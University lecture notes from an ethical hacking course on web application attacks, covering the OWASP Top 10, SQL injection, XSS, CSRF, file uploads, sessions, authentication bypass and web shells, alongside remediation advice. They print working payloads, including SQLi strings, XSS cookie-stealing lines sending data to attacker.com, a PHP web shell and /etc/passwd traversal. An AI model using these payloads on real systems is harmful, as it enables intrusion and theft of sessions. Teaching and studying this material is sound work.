

MULTIMEDIA UNIVERSITY, MALAYSIA

Advanced Web Application Attacks

ETHICAL HACKING AND PENETRATION TESTING
CCS6324 - 2530

Dr. Hafiz Adnan Hussain



DISCLAIMER



- This course is designed to educate students on ethical hacking principles. The knowledge and techniques acquired must be used responsibly and not for any illegal or unauthorized activities.
- Each student is solely responsible for their actions.
- Do not investigate individuals, websites, servers or conduct any illegal activities on any system you do not have permission to analyze.
- The course content has been developed in good faith, drawing from the author's experience and reputable sources. While every effort has been made to ensure accuracy, the author does not guarantee absolute correctness. Students are encouraged to exercise discretion and actively engage in discussions by raising any questions or concerns during the course.

Learning Objectives



What You Will Learn?

- OWASP Top 10 vulnerabilities in depth
- Multiple injection attack types
- Session and authentication mechanisms
- File upload security considerations
- Defense mechanisms and remediation

1. OWASP Top 10 Vulnerabilities - Deep Dive Analysis



Current OWASP Top 10 (2025)

The OWASP Top 10 is a standard awareness document for developers and web application security. It represents a broad consensus about the most critical security risks to web applications organizations face:

A01:2025 - Broken Access Control

A02:2025 - Security Misconfiguration

A03:2025 - Software Supply Chain Failures

A04:2025 - Cryptographic Failures

A05:2025 - Injection

A06:2025 - Insecure Design

A07:2025 - Authentication and Session Management Failures

A08:2025 - Software and Data Integrity Failures

A09:2025 - Security Logging and Alerting Failures

A10:2025 - Mishandling of Exceptional Conditions

The numbering follows the official OWASP Top 10 (2021) ranking system, which is the industry standard for web application security vulnerabilities, based on Risk-Based Ranking and Practical Values, where A01 means Most Critical Risk and A10 means Still critical but less prevalent than A01. More details are here: <https://owasp.org/www-project-top-ten>

1. OWASP Top 10 Vulnerabilities - Deep Dive Analysis (Cont'd)

Current OWASP Top 10 (2025) (Cont'd)

A01:2025 - Broken Access Control

- Users can access data/actions they shouldn't, because authorization checks are missing or weak.
- Standard forms: IDOR, horizontal/vertical privilege escalation, bypassing /admin routes, forced browsing.
- This often happens when apps trust client-side roles/IDs (e.g., URL parameters, JWT claims, hidden fields).
- **Example:** Changing /api/user/123/profile → /api/user/456/profile and viewing someone else's profile.

A02:2025 - Security Misconfiguration

- Security settings are left default, incomplete, or wrong across server/app/cloud (debug mode, open admin panels, weak headers).
- Exposes internal info (stack traces), enables risky features (directory listing), or allows unsafe cross-origin access (CORS).
- Usually caused by poor hardening + inconsistent environments (dev vs prod).
- **Example:** Production site exposes /debugs and shows environment variables + database credentials.

A03:2025 - Software Supply Chain Failures

- Attacks enter through dependencies, build pipelines, packages, or third-party services you trust.
- Includes malicious packages (typosquatting), compromised updates, leaked CI/CD secrets, and unverified artifacts.
- Hard to detect because it comes from "trusted" sources.
- **Example:** A developer installs react-secure (a similar name), which secretly steals API keys during the build.

A04:2025 - Cryptographic Failures

- Sensitive data is exposed due to weak/misused encryption, missing TLS, poor key management, or poor password storage.
- Includes using outdated algorithms (MD5/SHA1), no salt, weak tokens, and hardcoded keys.
- Leads to account takeover and data leaks even without "hacking" the app logic.
- **Example:** Passwords stored as plain MD5 hashes → attacker cracks them quickly after DB leak.

1. OWASP Top 10 Vulnerabilities - Deep Dive Analysis (Cont'd)

A05:2025 - Injection

- Attackers inject malicious input into SQL/NoSQL/OS commands/LDAP/XML, and the server executes it.
- Happens when input is concatenated into queries/commands instead of using safe APIs (prepared statements).
- Can result in data theft, modification, or full server takeover.
- **Example:** Login field input admin' OR '1'=1 bypasses authentication in a vulnerable SQL query.

A06:2025 - Insecure Design

- The system is designed without security in mind, so flaws persist even if the code is “clean.”
- Missing threat modeling, insecure workflows, weak recovery logic, no rate limits, unsafe defaults.
- Fixing requires a redesign, not just patching a single function.
- **Example:** Password reset links valid for 30 days with no rate limiting → easy takeover via email compromise.

A07:2025 - Authentication Failures

- Weak authentication allows attackers to steal or guess credentials (e.g., via brute-force attacks, reset flaws, session issues, or OAuth mistakes).
- Includes weak passwords, no logout/rate limit, username enumeration, insecure MFA, and bad JWT validation.
- Leads to impersonation and privilege abuse.
- **Example:** App returns “User not found” vs “Wrong password” → attacker enumerates valid emails.

A08:2025 - Software or Data Integrity Failures

- Data/software can be modified without detection (e.g., via tampered updates, unsigned artifacts, or unsafe deserialization).
- Often involves untrusted inputs being treated as trusted objects or updates.
- Leads to malware injection or silent data corruption.
- **Example:** App downloads updates over HTTP with no signature check → attacker swaps update with a backdoored version.

1. OWASP Top 10 Vulnerabilities - Deep Dive Analysis (Cont'd)

Current OWASP Top 10 (2025) (Cont'd)

A09:2025 -Security Logging and Alerting Failures

- Attacks happen, but you don't notice them or can't investigate properly because of missing/weak logs and alerts.
- No alerts on brute force, no logging of sensitive actions, logs overwritten too quickly, or logs can be tampered.
- Makes incident response slow and causes more damage.
- **Example:** 5,000 failed logins from one IP in 10 minutes, but no alert is triggered, and logs rotate daily.

A10:2025 - Mishandling of Exceptional Conditions

- Errors/exceptions are handled unsafely, leading to information leaks, crashes, bypasses, or DoS attacks.
- Includes verbose stack traces, null-handling bugs, type confusion, resource exhaustion, and unclosed connections.
- Attackers exploit edge cases to break logic or overload services.
- **Example:** The app shows the full stack trace and the SQL query on error, revealing table names and file paths.

- Application fetches remote resources without validating URLs
- Can access internal systems or perform actions as the application

2. SQL Injection Attacks - Deep Technical Analysis



2.1 Attack Fundamentals

SQL injection occurs when an attacker inserts malicious SQL code into entry fields, manipulating backend database queries.

Vulnerable Code Example:

```
$username = $_POST['username'];  
$password = $_POST['password'];  
$query = "SELECT * FROM users WHERE username='" . $username . "' AND password='" . $password . "'";  
$result = mysqli_query($conn, $query);
```

An attacker entering admin' -- as username creates: SELECT * FROM users WHERE username='admin' --' AND password='...' The -- comments out the password check.

2. SQL Injection Attacks - Deep Technical Analysis (Cont'd)

2.2 Classification of SQL Injection Attacks

In-band SQLi (Error-based & Union-based)

- Attacker receives direct results through the application interface
- Error-based: Using database error messages to extract information
- Union-based: Combining results from multiple SELECT queries

Blind SQLi (Time-based & Boolean-based)

- No direct output visible
- Boolean-based: Using true/false conditions to infer data (e.g., ' AND 1=1 --)
- Time-based: Using SLEEP() or DELAY() to measure response times

Out-of-band SQLi

- Using alternative channels like DNS or HTTP to extract data
- Example: Database writing data to an external server via DNS queries

2. SQL Injection Attacks - Deep Technical Analysis (Cont'd)

2.3 Detection and Exploitation Techniques

Manual Testing:

- Input single quote ' to trigger SQL errors
- Test logic operators: ' OR '1'=1
- Use comment sequences: --, /**/, #
- Utilize UNION SELECT to extract column information

UNION-based Attack Steps:

1. Determine number of columns: ' UNION SELECT NULL,NULL,NULL --
2. Identify data types: ' UNION SELECT 1,'string',3 --
3. Extract sensitive data: ' UNION SELECT version(),user(),database() --

Time-based Blind SQLi:

' AND IF(1=1, SLEEP(5), 0) --

' AND SLEEP(5) WHERE 1=1 --

2. SQL Injection Attacks - Deep Technical Analysis (Cont'd)

2.4 Automated Tools

- SQLMap: Automated SQL injection testing
- Burp Suite Scanner: Identifies injection points
- OWASP ZAP: Community-based vulnerability scanner

2.5 Remediation Strategies

- Use parameterized queries/prepared statements
- Implement input validation and whitelist acceptable characters
- Apply the principle of least privilege to database accounts
- Use stored procedures with input validation
- Enable Web Application Firewall (WAF) rules

3. Cross-Site Scripting (XSS) - All Variants



3.1 XSS Fundamentals

XSS allows attackers to inject malicious JavaScript code executed in victims' browsers.

Impact:

- Session hijacking and cookie theft
- Credential harvesting
- Malware distribution
- Defacement
- Redirect to phishing sites

3.2 Reflected XSS

A malicious script is part of the request URL or data and is reflected immediately in the response.

Attack Vector:

`https://vulnerable.com/search.php?q=<script>alert('XSS')</script>`

The application reflects user input without sanitization: You searched for: `<script>alert('XSS')</script>`

Cookie Stealing Payload:

```
<script>
new Image().src='http://attacker.com/steal.php?cookie='+document.cookie;
</script>
```

3. Cross-Site Scripting (XSS) - All Variants (Cont'd)



3.3 Stored XSS

Malicious script is stored in the database and executed when other users view the content.

Common Locations:

- User profile descriptions
- Forum comments and posts
- Product reviews
- Chat messages

Attack Flow:

1. Attacker posts: `<img src=x onerror="fetch('http://attacker.com/?cookie='+document.cookie)">`
2. Stored in the database
3. Every user viewing the post executes a malicious script

3.4 DOM-based XSS

Vulnerability exists in client-side JavaScript code.

Vulnerable Code:

```
var userName = location.hash.substring(1);
document.getElementById('greeting').innerHTML = 'Welcome ' +
userName;
```

Exploitation:

`http://vulnerable.com/page.html#<img src=x onerror="alert('XSS')">`

Modern DOM XSS Vectors:

- `location.href`, `location.hash`, `document.URL`
- `innerHTML`, `document.write()`
- **Event handlers:** `onerror`, `onload`, `onclick`

3. Cross-Site Scripting (XSS) - All Variants (Cont'd)



3.5 XSS Payloads for Different Contexts

HTML Context:

```
<img src=x onerror="alert('XSS')">  
<svg onload="alert('XSS')">  
<iframe src="javascript:alert('XSS')">
```

JavaScript Context:

```
';alert('XSS');//  
"+alert('XSS')+"
```

Event Handler Bypass:

```
<svg onload=alert(String.fromCharCode(88,83,83))>  
<img src=x onerror=eval(atob('YWxlc nQoJ1hTUycpOw=='))>
```

Attribute Bypass:

```
<img src=x  
onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&  
&#83;&#39;&#41;">  
<svg/onload=alert('XSS')>
```

3.6 XSS Detection and Prevention

- Use Content Security Policy (CSP) headers
- Implement output encoding based on context
- Use security-focused templating engines
- Regular security testing and code review
- Browser security features: X-XSS-Protection, X-Frame-Options

4. Cross-Site Request Forgery (CSRF)



4.1 Attack Mechanics

CSRF tricks authenticated users into performing unwanted actions on trusted sites.

Attack Scenario:

1. User logs into online banking (bank.com)
2. User visits the attacker's website without logging out
3. Attacker's site contains: ``
4. User's browser automatically includes authentication cookies
5. Unauthorized transfer occurs

4.2 Prerequisites for Successful CSRF

- The victim must be authenticated on the target site
- Application must rely only on cookies for session management
- No unpredictable tokens or headers verify requests
- No SameSite cookie attribute

4.3 CSRF Token Implementation

Modern applications use CSRF tokens to prevent attacks.

Token Requirements:

- Unique per session or per request
- Cryptographically random (128-bit minimum)
- Stored securely (not in cookies)
- Validated on the server-side

Vulnerable Token Issues:

- Tokens in GET parameters (logged in browser history)
- Tokens not validated
- Tokens are not invalidated after use
- Duplicate tokens across users

4. Cross-Site Request Forgery (CSRF) (Cont'd)



4.4 CSRF Token Bypass Techniques

Null Token Bypass:

- Remove the token parameter entirely
- The server may not validate missing tokens

Token Fixation:

- Attacker sets predictable token value
- User acts with the attacker's token
- Attacker repeats action with the same token

Token Extraction via XSS:

- XSS vulnerability to steal the CSRF token
- Use a stolen token in a CSRF attack

Double Submit Cookie:

- Application reflects the cookie value as a token
- Attacker knows cookie value
- Bypass by setting a custom cookie via a subdomain

4.5 Comprehensive CSRF Prevention

- Implement SameSite cookies (Strict/Lax)
- Use unique, unpredictable tokens per request
- Validate custom headers (X-Requested-With)
- Implement same-site origin validation
- Require POST for state-changing operations

5. File Upload Vulnerabilities



5.1 Attack Vectors

File upload features often become avenues for exploitation if not correctly secured.

Web Shell Upload:

- Attacker uploads PHP/ASP/JSP files
- Executes arbitrary code on the server
- Leads to remote code execution

Path Traversal via Upload:

```
../../etc/passwd
```

```
....//....//....//etc/passwd
```

Polyglot Files:

- File containing a valid image and executable code
- Passes image validation but executes as code

5.2 Validation Bypass Techniques

File Extension Bypass:

- .php.jpg (bypasses extension check)
- .phtml, .phar, .phps (executable alternatives)
- **Case variation:** .PHP, .PhP
- **Null byte:** .php%00.jpg (on older systems)

MIME Type Bypass:

- Client-side MIME type easily modified
- Server trusts Content-Type header
- Use Burp Suite to change Content-Type to image/jpeg

Magic Bytes/File Signature Bypass:

```
GIF89a<?php system($_GET['cmd']); ?>
```

```
89 50 4E 47 (PNG header) + PHP code
```

Double Extension:

- .jpg.php (if server processes right-to-left)
- .php.jpg (if .jpg handler misconfigured)

5.3 Secure Upload Implementation

- Whitelist allowed file types
- Validate file content, not just extension
- Store uploads outside web root
- Rename files with random names
- Implement file size limits
- Use a separate domain for uploads (CDN)
- Disable script execution in the upload directory

6. Session Management Attacks



6.1 Session Fixation

Attacker forces user to use attacker-controlled session ID.

Attack Steps:

1. Attacker obtains session ID: `PHPSESSID=attackercontrolled123`
2. Sends link to victim: `login.php?PHPSESSID=attackercontrolled123`
3. Victim logs in
4. Attacker uses same session to access victim's account

Prevention:

- Regenerate session ID after login
- Invalidate old sessions
- Use secure session ID generation

6.2 Session Hijacking

Attacker steals valid session ID through various methods.

Methods:

- Network sniffing: Capture unencrypted session cookies
- XSS attacks: Steal cookies via JavaScript
- Brute force: Guess session IDs with weak randomization
- Man-in-the-Middle: Intercept HTTPS traffic (weak certs)

Stolen Cookie Exploitation:

- Use stolen `PHPSESSID` to access victim's session
- Impersonate user without knowing password

6.3 Cookie Manipulation Techniques

HttpOnly Bypass:

- Cookies with `HttpOnly` cannot be stolen via XSS
- But HTTP-only bypass available through XSS to modify server behavior

Secure Flag:

- Cookies only sent over HTTPS
- Can be bypassed if application accepts HTTP

SameSite Attribute:

- `SameSite=Strict`: Cookies never sent with cross-site requests
- `SameSite=Lax`: Cookies sent only with safe cross-site requests
- `SameSite=None`: Requires Secure flag; sent in all contexts

6.4 Advanced Session Attacks

Session Race Condition:

- Send multiple requests simultaneously
- Server may process before session state updates

Session Deserialization:

- Unsafe deserialization of session data
- PHP object injection attacks

Distributed Session Attacks:

- Exploit session handling across multiple servers
- Session fixation on load-balanced infrastructure

7. Authentication and Authorization Bypass



7.1 Authentication Bypass Techniques

Credential Enumeration:

- Username/email enumeration through response differences
- Password reset token enumeration
- Account existence detection

Weak Password Reset:

- Predictable reset tokens
- Tokens with long expiration
- Tokens visible in URLs/email headers
- No rate limiting on token guessing

Default Credentials:

- Admin panels accessible with admin/admin
- Unchanged installation credentials
- Publicly documented defaults

Authentication Logic Flaws:

```
if (password == correct_password)
    authenticated = true
```

// Flaw: No username validation

OAuth/SSO Bypass:

- Misconfigured OAuth redirect URIs
- State parameter not validated
- Client secret exposed in JavaScript

7.2 Authorization Bypass Techniques

Horizontal Privilege Escalation (IDOR):

- Access other users' data by modifying user ID
- `/api/user/123/profile` → `/api/user/124/profile`
- `/download?file=user_123_invoice.pdf` → `/download?file=user_999_invoice.pdf`

Vertical Privilege Escalation:

- Regular user accesses admin functionality
- Modify `role=user` to `role=admin` in request
- Access admin endpoints without authorization check

Direct Object Reference (IDOR):

`GET /api/v1/documents/1001` (user sees own doc)

`GET /api/v1/documents/1002` (attacker sees another user's doc)

Parameter Manipulation:

`POST /admin/users/modify?user_id=123&role=admin`

Modify to: `POST`

`/admin/users/modify?user_id=456&role=admin`

Path Traversal:

- `/admin/reports` → `/admin/../../sensitive_data`
- `/user/profile` → `/../../admin/users`

7.3 Modern Authentication

Weaknesses

JWT Vulnerabilities:

- Algorithm confusion (HS256 vs RS256)
- None algorithm bypass
- Key extraction from JWT
- Expired token acceptance

Multi-Factor Authentication Bypass:

- MFA code not validated against the user
- Weak MFA codes (4-digit PINs)
- MFA is disabled without verification
- Null/empty MFA parameter

8. Web Shell Exploitation



8.1 Web Shell Basics

Uploaded script files allowing remote code execution.

Simple PHP Web Shell:

```
<?php system($_GET['cmd']); ?>
```

Functionality:

- Execute arbitrary system commands
- Access file system
- Database manipulation
- Lateral movement within the network

8.2 Web Shell Deployment

- Upload via file upload vulnerabilities
- Inject via SQL injection
- Deploy through template injection

8.3 Web Shell Detection and Prevention

- Monitor unusual .php/.aspx files in upload directories
- Check file modification times
- Implement Web Application Firewall rules
- Regular file system scanning

8.2 Web Shell Deployment

- Upload via file upload vulnerabilities
- Inject via SQL injection
- Deploy through template injection

8.3 Web Shell Detection and Prevention

- Monitor unusual .php/.aspx files in upload directories
- Check file modification times
- Implement Web Application Firewall rules
- Regular file system scanning

9. Practical Exploitation Workflow



9.1 Reconnaissance Phase

1. Identify technologies (Wappalyzer, headers)
2. Map application functionality
3. Identify input points
4. Analyze client-side code

9.2 Vulnerability Identification

1. Test each input for injection
2. Check for authentication weaknesses
3. Analyze session handling
4. Review access controls
5. Check file upload mechanisms

9.3 Exploitation Phase

1. Develop proof-of-concept
2. Document findings
3. Establish persistence if applicable
4. Extract sensitive data

9.4 Reporting

- Clear vulnerability descriptions
- Step-by-step reproduction steps
- Business impact assessment
- Remediation recommendations
- Severity ratings (CVSS)

10. Current Security Trends & Best Practices (2025)



10.1 Defense in Depth

- Multiple layers of security controls
- Not relying on single defense mechanism
- Application-level + infrastructure-level controls

10.2 Secure Development Lifecycle (SDLC)

- Security integrated from design phase
- Regular code reviews and security testing
- Automated vulnerability scanning in CI/CD
- Security training for developers

10.3 Modern Security Headers

Content-Security-Policy: default-src 'self'

X-Frame-Options: DENY

X-Content-Type-Options: nosniff

Strict-Transport-Security: max-age=31536000

Referrer-Policy: strict-origin-when-cross-origin

10.4 Web Application Firewalls (WAF)

- ModSecurity for open-source WAF
- Cloudflare, AWS WAF for cloud-based protection
- OWASP CRS (Core Rule Set) for pattern matching

10.5 API Security

- API rate limiting
- API versioning and deprecation
- OAuth 2.0 / OpenID Connect
- GraphQL-specific vulnerabilities

Summary



Advanced web application attacks require an understanding of:

- OWASP Top 10 vulnerabilities in depth
- Multiple injection attack types
- Session and authentication mechanisms
- File upload security considerations
- Defense mechanisms and remediation

Effective security testing combines manual techniques with automated tools, always following responsible disclosure practices.

ADDITIONAL RESOURCES



- OWASP Web Security Testing Guide: <https://owasp.org/www-project-web-security-testing-guide/>
- OWASP Project Top 10: <https://owasp.org/www-project-top-ten>
- OWASP Top 10 - 2025: <https://owasp.org/Top10/2025/>

Thank You

ANY QUESTIONS?

